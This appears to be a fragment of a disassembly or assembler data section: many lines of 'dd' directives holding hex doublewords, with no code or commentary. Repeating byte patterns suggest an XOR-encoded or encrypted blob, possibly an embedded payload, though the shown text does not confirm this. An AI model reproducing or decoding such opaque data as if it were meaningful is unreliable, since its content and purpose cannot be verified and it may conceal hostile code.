		dd 15325AA8h, 0EAB9DB53h, 0C6753256h, 4F22445h,	8558F254h
		dd 47B13255h, 57B13253h, 0DD7CBD26h, 0D5BADBFEh, 7AD93256h
		dd 20B0C7F5h, 0B459E9BCh, 5A7654E3h, 46D13A59h,	57B13250h
		dd 761161E0h, 730FC41h,	0F95339ACh, 3F40B30Fh, 0DBE6521Bh
		dd 54582CDCh, 0B6B13256h, 81625F67h, 0F417ADEFh, 2CBED1D6h
		dd 0E531F9D6h, 75B122DFh, 0BF585256h, 1EB13256h, 3CC86976h
		dd 41108C30h, 0AAEEBA37h, 0D7F6F5AEh, 0EAB13256h, 75B0B759h
		dd 464D3256h, 3BD1F5DDh, 0CF1048EEh, 0AEB7F2D5h, 0ABB27CBFh
		dd 54D7CE56h, 0E521A268h, 75B144D2h, 0BAA0DB56h, 91F23256h
		dd 6CCCC2FAh, 0ABDCA224h, 0A991C56h, 5590FF86h,	6FBEA268h
		dd 75B13238h, 0A271B236h, 0B4D01FE1h, 0AEB1325Bh, 2DA8DB81h
		dd 0E5F76B94h, 0D36B834h, 94305422h, 7A21A2A9h,	0BAB100D2h
		dd 0D0095256h, 46827AE0h, 57B1325Fh, 0EEA13161h, 85DEE3EAh
		dd 0AE08542Eh, 9CD06BC9h, 0BAB1327Ch, 5DB13FBFh, 9E2A4856h
		dd 73C6026Fh, 0DCC3A137h, 5E48C020h, 2E58CE91h,	15B13254h
		dd 537AB306h, 2B85024h,	0BD1EE2E8h, 0D53C5359h,	0AD1DBC69h
		dd 0D5BBDA36h, 5D33256h, 760D7DDEh, 0C406A011h,	0E0B996E9h
		dd 503A6D5Bh, 50586237h, 6B13256h, 8612B429h, 12E71E29h
		dd 0F9B8A0A9h, 3BD134FAh, 2009FFB9h, 0CF5DB858h, 5CD0CB36h
		dd 84353D96h, 20B13256h, 0E458FADDh, 3BB13256h,	0CDB548A5h
		dd 0FA9BFD1Eh, 84C70D5Ah, 6803BF1Eh, 0CBB79ED8h, 156B330h
		dd 3FD8886Dh, 80D03D69h, 0BAB184BFh, 52E7CB56h,	0AEB139D3h
		dd 0E0BE5256h, 0AB313D9Fh, 0B4B13256h, 8A7FB9AAh, 75BABE59h
		dd 0BC583256h, 99B13256h, 0A1F6E47Fh, 52333D5Bh, 0CDB13256h
		dd 38F1D0D7h, 0E2595237h, 0B7B13256h, 789605FEh, 3169BD2h
		dd 0AEB135BFh, 0FE1D6156h, 49ED3F69h, 0DA586737h, 54B13256h
		dd 0CD3E071Dh, 44EE42B6h, 0A723422Bh, 3C4E062Ah, 511DB98Dh
		dd 0ABA1BB59h, 0DE583256h, 0D5B13256h, 3F243BF6h, 3AE365CFh
		dd 0D5BE77A1h, 0AEB1325Eh, 57B3B859h, 0CAD13256h, 1B9ACE0Bh
		dd 22305436h, 0F4D78178h, 0DBC4D588h, 0D2BEEBA1h, 0AEB13251h
		dd 995FB236h, 0F5D035E7h, 261D8A36h, 69D036E0h,	7AB0CA2Bh
		dd 0BAB1F6D3h, 5A343D56h, 0A1B13256h, 57B133DBh, 0E201CA56h
		dd 0D5B13BBFh, 0C6FBB456h, 8BF428D1h, 531BBE5Dh, 5DB13242h
		dd 535891B2h, 64158A45h, 0A066086Bh, 46924E41h,	0C2B114C2h
		dd 0F0BE8A30h, 0B5585236h, 0EFB13256h, 24EEAE69h, 525BA5A4h
		dd 0C7EAB7F0h, 0DAD04638h, 8AD0E2E1h, 89958930h, 0B5D05236h
		dd 5DB132D7h, 0C8D05356h, 57BCDBFDh, 5CC13256h,	0D277A163h
		dd 0D2A99780h, 7A56B057h, 0DAB074E0h, 0B5D19937h, 0AEB1325Fh
		dd 0D6873E46h, 992CFE74h, 0D53E3D5Ch, 0B2B13256h, 1442B930h
		dd 75063D36h, 5DB13DBFh, 0BCA39356h, 0E46AC133h, 701344Eh
		dd 3368B282h, 0EA07DB37h, 73583256h, 11B13256h,	742DE39Dh
		dd 56CCB168h, 0C7343D54h
		dd 0CBB13256h, 0D5383D36h, 3B13256h, 75B13246h,	0C31B7ABAh
		dd 5C220C75h, 0B0DF441Dh, 85276053h, 13D75337h,	0B349FB5Dh
		dd 52D7CAFDh, 9CD1B659h, 0BAB1325Bh, 0A64B1906h, 6D3AE6C3h
		dd 5473C604h, 0E80B547Bh, 7ED753D7h, 0EAB13DBFh, 0F5A96F56h
		dd 2DDDE02Bh, 2FA843A2h, 0BBD86F03h, 56F78459h,	0ABA8BD59h
		dd 0C1583256h, 0C2B13256h, 97B29B9Eh, 0E63CEE2Ah, 69FFF234h
		dd 0DED463C2h, 0FC5E03FCh, 0ABAFDBAFh, 51BE3256h, 0EAB13251h
		dd 75B0B659h, 49443256h, 54313DF2h, 0CEB13256h,	0D6D7FEDCh
		dd 0CA85CFB0h, 0DD58F5DDh, 40B13256h, 7DC75F44h, 0E127963Bh
		dd 15608B36h, 6E30664Bh, 4D40B087h, 2BD16B37h, 57BEE49Dh
		dd 0EAB13254h, 2BD0E5DDh, 0BAB123BFh, 4C30C556h, 1F8E4FF1h
		dd 37FD9B8Dh, 0FA62A463h, 2DEE7B7Ch, 0FC323D9Fh, 9CB13256h
		dd 0BAB13247h, 89314B5Fh, 414CFF22h, 0E65BB90Bh, 5AA2964Eh
		dd 0D5B9F07Eh, 0EC5867A3h, 0A1B13256h, 5E13B2E1h, 0B45DB9E2h
		dd 0AEB13250h, 16A8DC5Bh, 0A4D103ECh, 0D859F1E9h, 68B13256h
		dd 5B5FBADEh, 3DC5F438h, 0F6D6C5C4h, 0CFE85336h, 0D6D75236h
		dd 1BDA0D9Eh, 0C5585389h, 0D0B13256h, 0E2091E43h, 85335B46h
		dd 4245C7FAh, 46AE036Ch, 57B13256h, 9F5BB30Ch, 0DAB79EEDh
		dd 0EAB126DDh, 75BEDB56h, 52003256h, 19800322h,	55863EE9h
		dd 0B547EB66h, 0B8363D27h, 3CB13256h, 0EAB13258h, 99D7A183h
		dd 973C6DC3h, 92DC4768h, 0EB3AAC2Fh, 4E383D5Eh,	0CBB13256h
		dd 0D5B122BEh, 514CB356h, 0D9FC664Fh, 9D0F3CB5h, 0D10B5845h
		dd 0CF496B24h, 0DC0AB0DFh, 0A75834FAh, 14B13256h, 4AC61BFh
		dd 514C723Fh, 0DB8A5A21h, 5DB7B759h, 0CED13256h, 36EE6437h
		dd 0ABA1DB9Fh, 0D47A3256h, 2A80C705h, 0E61A7B11h, 0CDDEFCAAh
		dd 59735C9Bh, 0A4373D56h, 37B13256h, 0ABB1B359h, 8DE33256h
		dd 3486737h, 75B1325Ah,	58B660AAh, 7A4443CEh, 0F6722B46h
		dd 5158DEDDh, 0BFB13256h, 5BF982F4h, 0EAB4DB5Dh, 0C2B93256h
		dd 39495F82h, 0DCD1CA92h, 788889A1h, 0BED15312h, 0ABB1325Ch
		dd 0E043625Fh, 2B585DF6h, 7559AE6Dh, 0E0B13256h, 0E196D8D7h
		dd 0BC5834FAh, 9DB13256h, 966CE459h, 36781EE2h,	0B343DEC3h
		dd 1D240580h, 0AE58523Fh, 98B13256h, 92E3245h, 0CEAB017Dh
		dd 0E9A13D1h, 0F9630F8Dh, 8CADEFF9h, 14CFF5E8h,	0BA3E3D36h
		dd 3BB13256h, 69D0F4DDh, 57B1CA13h, 0B8583256h,	0A3B13256h
		dd 99B7DF1Dh, 0E85D1CAAh, 53CE0444h, 4C4D5E67h,	0EB766582h
		dd 57B132AAh, 0BB303D56h, 3CB13256h, 0EAB1325Dh, 73F50089h
		dd 23E3F472h, 6E24C799h, 25D75296h, 0DCD7538Eh,	0AD58C748h
		dd 8BB13256h, 220110ABh, 1B33F597h, 0BBB79EDBh,	52B13256h
		dd 0AEB12ADDh, 57A2DB56h, 87F83256h, 288CEEDAh,	0E4E47F49h
		dd 422F400Eh, 3F739C9Bh, 0DCD7CB29h, 0A121A2ADh, 57B133D3h
		dd 5031C756h, 90353DBEh, 8AB13252h, 0D60854AAh,	0DAF1537Ah
		dd 5DB3B859h, 0F5E63256h, 3643ECD6h, 0A458C9D6h, 0D5B515D2h
		dd 8AF1CA56h, 30D89BE9h, 0A342B35Fh, 3CD3FEE6h,	0A15AC9D6h
		dd 57B53DD2h, 42F1C756h, 0D5B1325Dh, 0C4397A7Ch, 0C41864B6h
		dd 3AD6C64Bh, 3B44C2B1h, 2EBEC9D7h, 545FB659h, 24BE3256h
		dd 0D5B13241h, 0EAB120BFh, 5C799A56h, 0BB93C6A4h, 6A913D12h
		dd 8CA8B379h, 54657122h, 0DAD9FD4h, 0D5A3DB50h,	0CA283256h
		dd 0BC883987h, 0F0DED9E0h, 1645731Dh, 0A9D19C6Dh, 0AC31C716h
		dd 30353DB4h, 0DAB13255h, 0EAB125DFh, 7E585256h, 0ADB13256h
		dd 7E8C4067h, 636C5474h, 9E0B249Ah, 0CAFC91D1h,	0DA52C9D6h
		dd 0EAB269D2h, 75BCDB56h, 4773256h, 0B5F1BC79h,	197A236Bh
		dd 31B94B97h, 48D6C9D7h, 0D6E9B659h, 8CD13256h,	144DEADDh
		dd 0B541D1D6h, 5DB135D0h, 0AF3E3D56h, 0AEB13256h, 0A4C1C9D6h
		dd 0D5B275D2h, 0E73D3D56h, 15B13256h, 0DF50B330h, 5D363DF3h
		dd 0CFB13256h, 0BEAFB930h, 0ABB1325Fh, 250FF374h, 0DEB965C9h
		dd 8D52B228h, 24AB2AFh,	5CF4B659h, 2E493256h, 0D3BE3768h
		dd 0ABB1336Dh, 0D5A6BB59h, 0F8583256h, 8FB13256h, 0C532877Bh
		dd 0D2ADCAh, 0EF433681h, 4A850F0Bh, 868FB2CFh, 0D4A4B659h
		dd 68BE3256h, 75B13257h, 0D28FB2A3h, 5CB4B659h,	0A4583256h
		dd 99B13256h, 255860E0h, 0C3CD8E8Ch, 3D17250h, 75B13253h
		dd 4C6ABAFDh, 0AE0E3D5Ah, 0C033CD37h, 0ABB79EDBh, 0A4AFB930h
		dd 0D5B138D8h, 0EAB4DB56h, 45443256h, 3A8A06A5h, 0D2BECAB1h
		dd 0AEB13246h, 57B139BFh, 4EE20356h, 37FA4F8Dh,	531DB122h
		dd 0F44AB330h, 12353DBEh, 0A4B13256h, 0CEAFB930h, 8D05207h
		dd 0CA46B836h, 2556B237h, 140F5236h, 15F05A95h,	0DBE5337h
		dd 0DCD7539Ch, 0A171B3ADh, 57B14CD2h, 52D1C756h, 0D4323D03h
		dd 1FB13256h, 0FE6AA0A9h, 3EBE34FAh, 5DB1325Ah,	0AEB135BFh
		dd 0FAD1956h, 24C0E016h, 0D30520Bh, 0EC786483h,	145DEFD6h
		dd 534D77DFh, 5DB1325Dh, 0DBD1BEE6h, 4F0BAC29h,	0CA209031h
		dd 55BE52A3h, 0EAB13244h, 75B13EBEh, 0DB2DBB56h, 0E61AA3CDh
		dd 4F4967A9h, 5E006D3Fh, 57CCB137h, 60343D57h, 3B13250h
		dd 75B13259h, 0C65288FDh, 34478C99h, 8C82E12Eh,	0DCA24900h
		dd 0DAB8FECh, 55BE5250h, 0EAB13250h, 75B1B659h,	3CBE3256h
		dd 5DB13254h, 0FED0F1DDh, 3933B9AAh, 52B79EDBh,	0D5B9B759h
		dd 65BE3256h, 75B13254h, 86885336h, 5DBADB66h, 0B18C3256h
		dd 9A65FDBh, 49986A7Dh,	57BE6A4Ch, 0EAB13402h, 75BDB159h
		dd 3FBE3256h, 5DB13250h, 0AEB1B259h, 0DC443256h, 0D9C47ECh
		dd 0CD3F3D50h, 0E5B13256h, 75B120D8h, 0BABCDB56h, 0B6A83256h
		dd 0F2BB0CBEh, 8FB354C7h, 0FBD781FFh, 0D5A9B659h, 0F9583256h
		dd 0E5B13256h, 76CADB2Fh, 0AFF51CB2h, 3464F4D7h, 0F8EB928Ch
		dd 293A7C0Dh, 0D31DBF38h, 0E566B936h, 4CD0EDE1h, 53D1026Ah
		dd 5DB13258h, 196F5F5Ch, 57C61E0Ch, 16179F45h, 0DAD1ADD7h
		dd 0EAB132DFh, 75B8DB56h, 7D8D3256h, 73CB0FA5h,	0CF76ACD4h
		dd 0D8BE6A37h, 0ABB137EAh, 740BB9AAh, 8AB79EDDh, 8E626DEDh
		dd 0BE383D76h, 3BB13256h, 0CF24C4EFh, 0DC10B0D5h, 42A534FAh
		dd 0D5B1325Fh, 2D867A19h, 6922ED2h, 5386BB3Dh, 5DB13244h
		dd 8FDF91A5h, 76C82A1Ah, 0CE803233h, 0C7B54546h, 0AD38D5A1h
		dd 0FED75246h, 0B5323D9Ch, 0B5B13256h, 0AEB1325Fh, 0F317F36h
		dd 86C7CA32h, 85D06AEFh, 23258C36h, 0D1064AB0h,	0D433B937h
		dd 0B4B79EDBh, 0AEB1325Fh, 0C7AD1161h, 6D195941h, 0E5ADB9C8h
		dd 0EAB122BFh, 20DE8E56h, 56DCB2FEh, 1933BEBCh,	714E5700h
		dd 0DE446AD3h, 24BE3A09h, 0D5B13251h, 3C0E3D36h, 9CD0E3DCh
		dd 0BAB1375Ah, 5DB13DBFh, 88DF7C56h, 0C8EF51DCh, 860E9963h
		dd 8CF9233Eh, 0E8497791h, 9CB13256h, 0BAB1325Eh, 69065A75h
		dd 28E18F39h, 57B13DBFh, 0EE76CB56h, 0D5B133AEh, 0EB3D3D56h
		dd 80B13256h, 311088DDh, 3BD134FAh, 10D7CADDh, 58D00D54h
		dd 0ABB13AD4h, 62BE5256h, 250E3D9Ch, 0D433B137h, 0AEB79EDDh
		dd 5DB137BFh, 87B74156h, 60389C26h, 0ABB13CBFh,	0D8368756h
		dd 2809F62h, 596F72A2h,	3337AB6Dh, 52D12211h, 0AEB137DCh
		dd 0A2BE8D56h, 28D007F7h, 50BE31AEh, 0EAB1326Ah, 0F776CBAFh
		dd 0BC1DBF38h, 5DB13254h, 0AEB138BFh, 45B85556h, 8D3CFC9Ch
		dd 3C1C3479h, 0EAB13270h, 75B135BFh, 0D7B0EF56h, 7D88F2F5h
		dd 0AEB139BFh, 0D0708F56h
		dd 761A718Fh, 7C5875F6h, 0E5B3CAD5h, 75B3A2DBh,	0C732C756h
		dd 0D9BE32AEh, 0AEB13287h, 57B13EBFh, 1DFFE056h, 0AAC2E584h
		dd 5CD1455Ah, 33073D9Ah, 0B5343D57h, 0B4B13256h, 0AEB1325Ch
		dd 1AF5FD34h, 0ECCAA84Ah, 5518798Ch, 0E5B13256h, 75B10AD3h
		dd 0BABCDB56h, 9AC13256h, 6831C931h, 0B3B1A070h, 0EBBBA544h
		dd 0D5B13FBFh, 81907556h, 0A8039294h, 0CF3041F7h, 0B532AEB0h
		dd 793A5253h, 57E5DB37h, 2EBE3256h, 0D5B13257h,	0EA4E1FA3h
		dd 15D13256h, 0BAB134BEh, 43BC1356h, 0F1BB353Ch, 57B13CBFh
		dd 3BE21456h, 6C2B9F2h,	236EA1CAh, 1445C63Ah, 5376B936h
		dd 5DB13251h, 13702122h, 36B80094h, 0AE59B137h,	0D3393D36h
		dd 0E5B13256h, 75B132D2h, 6B0F5456h, 135853AEh,	0A1B13256h
		dd 57B13EDDh, 0AD343D56h, 0DAB13256h, 0EAB132DBh, 7D586156h
		dd 0FEB13256h, 0A5874707h, 253A2B9Eh, 0FB3C5CCCh, 2048CA50h
		dd 0B3D10152h, 36E7BE9h, 75B13251h, 8A9A0470h, 3CE8A9FFh
		dd 0A458C70Dh, 43B13256h, 7F18A110h, 906238B9h,	0EAB19B0Bh
		dd 0F0BEB256h, 0BAB132FEh, 5DBADB36h, 60273256h, 7FA3D5B7h
		dd 94E251C3h, 0B461B861h, 0EC58F455h, 25B13256h, 0C3B8DE6Ch
		dd 5871B1D6h, 0AEB13ABFh, 0A3242956h, 0BFADF529h, 0BB333159h
		dd 3B79EDBh, 75B13246h,	0CE849C20h, 4A8D56DAh, 0A5103721h
		dd 91E407BFh, 0A2587AA3h, 1EB13256h, 0A52D7D3Eh, 51C08BF6h
		dd 0B2F6BBA3h, 5DB13BBFh, 32E3E956h, 0EB2706B6h, 0EC38FB4Eh
		dd 0C0343D5Ah, 3B13256h, 75B13246h, 16707F6h, 0EF6B8EEEh
		dd 24EEAE69h, 525BA5A4h, 0ABB349BFh, 0B3D15256h, 2098D1D7h
		dd 75B4DA37h, 6DAF3256h, 0DD32D199h, 0CFEFD08Ch, 0DCBEEAA1h
		dd 0ABB1325Ah, 0D5B135BFh, 82D96C56h, 0B6D9DD94h, 3BBEF47Dh
		dd 5DB13242h, 0ACE18836h, 5F585734h, 0B0B13256h, 1E76713h
		dd 8B28C3A4h, 0F2BEEAA1h, 0BAB13251h, 5DB0B459h, 2D4D3256h
		dd 0D8BE3796h, 0ABB13243h, 0D5BEBB59h, 0E0583256h, 0D1B13256h
		dd 8118A218h, 0C59C5DB2h, 0C0333134h, 0AEB79EDBh, 0C90B521Eh
		dd 0B5927B30h, 64BE6A00h, 75B13256h, 0B7585337h, 0C6B13256h
		dd 9B694CC8h, 0CB419728h, 0B966D948h, 0DAB975DFh, 0EAB12CDDh
		dd 64595256h, 76B13256h, 90A03541h, 90FEA88Eh, 7309A171h
		dd 0A310C296h, 1330540Eh, 63D05E3Eh, 7D583E11h,	4DB13256h
		dd 67F7BF38h, 47EB5654h, 57B133F6h, 5E7101AEh, 0DAB074DCh
		dd 0EAB12BDEh, 75A5DB56h, 22473256h, 9CE0CA73h,	10C67885h
		dd 3B77A438h, 14DEF47Dh, 55198397h, 0EA6AB759h,	0FFBE3256h
		dd 0BAB13247h, 5DB13EBFh, 0A08CED56h, 56D3FDA6h, 8B1794D2h
		dd 0D4303D32h, 16B13256h, 0F8BEF455h, 0BAB1325Eh, 27095436h
		dd 0CF9E8083h, 37B3F2D5h, 0ABB134BFh, 0DEBE8756h, 0E53F69B9h
		dd 75B132D1h, 0AE585356h, 30B13256h, 0EC3250A7h, 0B483BEACh
		dd 0E9047022h, 26558D7Ah, 51EE2CFEh, 75B13257h,	0BAB0B159h
		dd 0B4443256h, 0AEB1325Fh, 0C7283FFCh, 6316041Ch, 0DA6A3978h
		dd 0EAB12DD2h, 0EF3BCA56h, 0BC1AEDA1h, 5DB13DBFh, 7EC6CE56h
		dd 3B42215h, 30598C3Fh,	2BE506D8h, 16B0D1D6h, 8CD1F155h
		dd 33D044E2h, 0D4443A11h, 0A3583E11h, 58B13256h, 6209EC22h
		dd 0AEE6BA11h, 8DA10734h, 751FDBAAh, 53D13256h,	5DB13253h
		dd 70EC1ABCh, 893A5471h, 5C3B5237h, 0A3A18830h,	0E569C537h
		dd 75B139DEh, 0BAB7DB56h, 0DF533256h, 460EB21Ch, 57B1CD73h
		dd 0B9323D56h, 0B5B13256h, 2678559h, 75B13251h,	0A4CDB6F1h
		dd 3F0289Dh, 47771937h,	57B1325Bh, 3B5E08F3h, 36359E96h
		dd 0BC30D0B0h, 7C3C3D0Eh, 0DAB13256h, 0A3138930h, 0CF7A8559h
		dd 0BED1EAA1h, 0ABB13244h, 0F3F9EA6Dh, 9D8EA1AAh, 164889CBh
		dd 6705DE01h, 0D6D7BD15h, 6E325380h, 1038C754h,	0EC38CE5Eh
		dd 5BBECB5Ah, 0EAB13242h, 75B13DBFh, 3C8DD756h,	7E4344h
		dd 0F798237Dh, 98B58C5h, 0CDE252AEh, 8F1C66EEh,	0D168B330h
		dd 15D0537Dh, 537853AAh, 5DB13259h, 924B60F7h, 0DBAF257Bh
		dd 0B4F096C0h, 0B504AFF7h, 0CE928B36h, 73584613h, 75B13256h
		dd 0A095E5Bh, 17D7533Dh, 94D01C87h, 0ABBDBF59h,	5BBE3256h
		dd 0EAB13250h, 75B1B959h, 0B5E43256h, 5DB137DBh, 25D75256h
		dd 0DC4853ADh, 773152BAh, 113253CBh, 0EB323DAAh, 80B13256h
		dd 0BAA5DB36h, 3EBB3256h, 19329F88h, 0AB3E0BBFh, 0B676047Ch
		dd 0E15A57ECh, 0FE58B1E5h, 80B13256h, 2C294393h, 0C4B063EEh
		dd 8B2C63CAh, 55DC143Dh, 4393A81Bh, 0D5B13256h,	565BB30Ch
		dd 9CB79E90h, 0BAB13258h, 0D51F01A9h, 0E546492h, 159E129h
		dd 0CDD17F37h, 6FAFECD7h, 0EAB2BC59h, 0C2BE3256h, 3A53AFh
		dd 5B1DB908h, 2FD75236h, 316680BEh, 0CAF67EEFh,	0D5B137BFh
		dd 0C743CA56h, 46D0BDABh, 0BF313D9Fh, 3DB13256h, 0CF728559h
		dd 58B10DD5h, 0ABB5B1D2h, 8B085256h, 0E59C4F21h, 0FED0E4E9h
		dd 0CF4EC751h, 5C3D3D5Ah, 56B13256h, 0AEB947A9h, 20445206h
		dd 575953AFh, 1FB1325Fh, 0F0BEF25Dh, 0BAB13269h, 5DB135BFh
		dd 93835C56h, 28770935h, 0A4D135DDh, 0D5B130D9h, 0E5EE6556h
		dd 75B130D0h, 0DBD05256h, 5DB17BBFh, 0BA3A3D56h, 37B13256h
		dd 0F6EB330h, 0D5B6DAEBh, 67093256h, 0CD641E36h, 39D06CD0h
		dd 0A8D12691h, 0AEB120BFh, 8833FB56h, 0F25F7F78h, 10A41F8Ch
		dd 0D47B607h, 14EB1F47h, 454E55BFh, 5DB9DBA9h, 0B8343256h
		dd 1CECF8Bh, 0EE3824A8h, 58BE52AAh, 0EAB13250h,	75B1B459h
		dd 0BC0E3256h, 3C9AE920h, 57BD47A9h, 37B947A9h,	0A4C5E0D7h
		dd 2AD03A04h, 0EAB6DB61h, 6CED3256h, 0EBA8EC61h, 5562DA26h
		dd 0A54D3256h, 6D353D96h, 42B13256h, 0D5B13247h, 59C56FDh
		dd 7E3C971Bh, 0AC919A23h, 5CA644D4h, 0AD3BDBB1h, 0DBBE3256h
		dd 0ABB1324Fh, 0D5B126BFh, 3FDDEA56h, 0B7A91D2Eh, 29E008E9h
		dd 36464474h, 0CE84809Eh, 0ABF4B912h, 0A3323DAAh, 0DAB13256h
		dd 0EAB130D1h, 4CD05256h, 0EB333D51h, 0B4B13255h, 0AEB13245h
		dd 6C72B053h, 0DF3CB630h, 0A7A7E212h, 0B93F32CAh, 8AE956EEh
		dd 0AA58CE13h, 35B13256h, 741A7899h, 57A5ADA1h,	0FEACEA80h
		dd 565302C8h, 0E5B13629h, 75B104D2h, 0BAA2DB56h, 2E253256h
		dd 0CCAC4D5Ch, 0FCB63361h, 53DF3A37h, 0C4EB8886h, 0E6CEB17Ch
		dd 61353D56h, 53B13256h, 5DB1325Fh, 0AFCC9BDCh,	69FC4C5Bh
		dd 0ABD7DB43h, 6D483256h, 154ECDA9h, 6D303D36h,	53B13256h
		dd 5DB13245h, 0FEADA28h, 9740A9D7h, 0E758D251h,	2DECB876h
		dd 6B2C4E0Fh, 26777BDh,	0BF085301h, 0B4B13256h,	0AEB1325Dh
		dd 7D72D1D9h, 27EAD785h, 2663A80Bh, 0EC3C3DFDh,	15B13256h
		dd 6C3A1DE3h, 0A30FDB37h, 24BECDA9h, 57B1325Ah,	0ABB7BA59h
		dd 5BBE3256h, 0EAB13256h, 70A14DD5h, 0BAE9B659h, 0DE443256h
		dd 0A1B72229h, 57B1AAD3h, 0B8343D56h, 3CB13256h, 0EAB13258h
		dd 0DF2332A6h, 0A79A8Dh, 0D40248F6h, 0CEF04756h, 5819DBD6h
		dd 0ABB132DAh, 923A5356h, 0EAB9DB52h, 0F5B93256h, 813F8ADBh
		dd 23A97D5h, 0AEBBDB5Ah, 0B1A63256h, 0BFF657F8h, 4A32A79Eh
		dd 0EAB0E2BFh, 323ACB56h, 0BAB4DB52h, 5513256h,	254C4612h
		dd 0ECD13E09h, 0F3BF6B25h, 3CD05236h, 0EAB13244h, 83FB6227h
		dd 4C0614Bh, 0E424ACF6h, 646043CAh, 36D0249Dh, 0ABB0BEBFh
		dd 0D5BEDB56h, 0D8FC3256h, 2F242B0Ch, 8E677654h, 8EDD1C2Ah
		dd 0AAF6B911h, 57BBDB36h
		dd 0C8DF3256h, 0CED02EB4h, 0D9B8E4F5h, 1477B930h, 42BD6DDDh
		dd 52B96D6Dh, 0AEB1FFD3h, 47585256h, 3FB13256h,	0BDA42C68h
		dd 382D36BFh, 0D33F8F03h, 0DB41B14Eh, 50585204h, 60B13256h
		dd 0D81AD775h, 5DED1388h, 9ABF7059h, 48C78D30h,	71E6B937h
		dd 0BABDB959h, 0D9BE3256h, 0AEB13250h, 57B1B459h, 0FE9A3256h
		dd 0D5A0DB46h, 9E323256h, 316462F4h, 3E2E95C5h,	311E67E2h
		dd 0AD398234h, 0DC482603h, 20D13E09h, 6C58B388h, 8BC9F83Ch
		dd 7D58E87Dh, 4EB13256h, 933B815Bh, 2DF13C1Bh, 465837BDh
		dd 7AB13256h, 0A8191AF9h, 1970C31Ch, 315F8CA1h,	0A2AFF964h
		dd 4A363D0Ch, 47B13256h, 57B13244h, 784F6FDEh, 0CAF682Fh
		dd 64B470F2h, 64E42CA8h, 53489E45h, 5DB1322Fh, 0AEBDBC59h
		dd 0DDBE3256h, 0ABB13250h, 0D5B1BD59h, 0AD3A3256h, 75A1DB52h
		dd 4FC93256h, 0F88F6F1Eh, 0CDFE47E6h, 5C309Bh, 20481E10h
		dd 0FE493E09h, 61D13609h, 0F6D0CE9Eh, 0AB5837BDh, 82B13256h
		dd 45FC9F0Eh, 0F5982A4Ah, 7F99CA5h, 846B071Ah, 0F960B855h
		dd 9CD134F0h, 0BAB13247h, 14AEEB6Dh, 406F8085h,	9FDE2BF2h
		dd 0D84CBBB0h, 0D5B7DB4Bh, 33143256h, 0BFB08207h, 0AACEB137h
		dd 4B343D55h, 0A1B13256h, 57B13AD0h, 0A9353D56h, 0B5B13256h
		dd 6CBE7337h, 75B13257h, 0DA6819AEh, 0AE30FADDh, 0A39E31C8h
		dd 56EDBB37h, 0ABBADB57h, 0B5F13256h, 7F231FCFh, 3A971FB3h
		dd 4509CB5Ch, 524ECDA9h, 0AEB138DFh, 0D3BE5256h, 0ABB13256h
		dd 6CD09EE6h, 0EAB13253h, 151AC1AEh, 0B56EF2D6h, 5DB130DAh
		dd 0CF7DB856h, 0A84D05BFh, 0AA363DA9h, 2CB13256h, 0E6585237h
		dd 6FB13256h, 559C0A3h,	14EFF796h, 0CF99EDFAh, 4773CB9Fh
		dd 0BF3F3D56h, 0B5B13256h, 0EAB135BFh, 0B064A156h, 126CD147h
		dd 5DB1BE59h, 0FBD03256h, 585DB9AFh, 0ABB13EDCh, 0D5B6DB56h
		dd 1EB03256h, 627791DDh, 4675B107h, 0D3BE5236h,	0AEB13256h
		dd 31D0D9E7h, 0CA754DE8h, 5CBE52AAh, 0EAB1324Ah, 75A7BA59h
		dd 0AB583256h, 49B13256h, 9C856EE9h, 8605628Dh,	41445E1h
		dd 135951EAh, 0EAB132BEh, 9F306856h, 0BC1DFE77h, 3CD15236h
		dd 18D0F9DDh, 44585391h, 14B13256h, 0FB3C74B0h,	8DC1EA05h
		dd 42DFB39Ch, 0ED1C184Bh, 0D3BE3750h, 0AEB13257h, 90BB9AAh
		dd 52B79EDDh, 5648FB65h, 6EBE3269h, 75B1365Dh, 0BAB6BC59h
		dd 0D1BE3256h, 0AEB13257h, 58B6B9AAh, 0ABB13ADFh, 0D73A3D56h
		dd 8AB13256h, 79C4CD37h, 0AF3D3D36h, 0B5B13256h, 0AEB13259h
		dd 0A0A5D654h, 285F057Fh, 5D63F338h, 0B137E8AEh, 0E64CCEE8h
		dd 0CF4E5367h, 3C49525Eh, 0A9373D06h, 58B13256h, 0ABB133D5h
		dd 6BD1CB56h, 0A5205031h, 27378830h, 0B946DA37h, 3BD13256h
		dd 4015E4D7h, 57B122BFh, 6E463256h, 7EE6CA2Dh, 0BA2969C7h
		dd 0E04AC87Dh, 7ABA5382h, 5D89B759h, 0AB583256h, 92B13256h
		dd 72ABC138h, 294D35DDh, 0EAB102BFh, 7F3B3D56h,	53B13256h
		dd 5DB13253h, 0D5AAEB39h, 57A1DB30h, 0C48E3256h, 0DB3BC108h
		dd 0F9341C51h, 188EFB96h, 7D326597h, 7158CA42h,	524ECDA9h
		dd 0ABF4BBAEh, 0ABB134BFh, 0F0BFEA56h, 8A304D88h, 75B138BFh
		dd 0B64BF056h, 54F1C736h, 0C8FEEC23h, 0A8D0CBDDh, 42D13E23h
		dd 0D5B13242h, 0B43560Ch, 9B7FDFB5h, 0CF254A02h, 113FA2Dh
		dd 0C7B7819Fh, 0D7BE53AFh, 0ABB13243h, 0D5B122BFh, 96528856h
		dd 1C478C99h, 9882E12Eh, 23A24900h, 0A6C4CDADh,	57B6B159h
		dd 29BE3256h, 0D5B13257h, 0E586CDAAh, 75B13EDEh, 39BE5256h
		dd 5DB13256h, 11D88D30h, 403F3D37h, 42B13256h, 0D5B13244h
		dd 0CB831A8h, 1263942Eh, 786BC8Ah, 0A68A547Eh, 40598822h
		dd 0BEB13254h, 0ABB1325Dh, 0D32CCAC7h, 81BDE1F5h, 7E750599h
		dd 0F4353D96h, 52B13256h, 0AEB12ADCh, 59585256h, 0FB13256h
		dd 94BDA374h, 972E2461h, 1E130331h, 653A5443h, 0D6BE5237h
		dd 0AEB13258h, 57B13ABEh, 99ED8F56h, 8BA27C5h, 6FBE6B96h
		dd 75B13257h, 0FE5853AAh, 0A1B13254h, 0AEB6B859h, 0DEBE3256h
		dd 0ABB13257h, 29F4B9AFh, 0EAA9BA59h, 0F2BE3256h, 0BAB13244h
		dd 5DB13FBFh, 0E737F756h, 21B52932h, 30D9E507h,	0D288F458h
		dd 0E8BCB059h, 79583256h, 0FB13256h, 7B2BFB63h,	2C988A68h
		dd 0A8F07729h, 0BA58CE13h, 1B13256h, 0B655F8E6h, 1CB596FDh
		dd 6A975658h, 33CB4F4Eh, 0AEB54DD5h, 5783B659h,	0A5583256h
		dd 0DEB13256h, 8C618617h, 4943D385h, 598A1CB3h,	51CEB199h
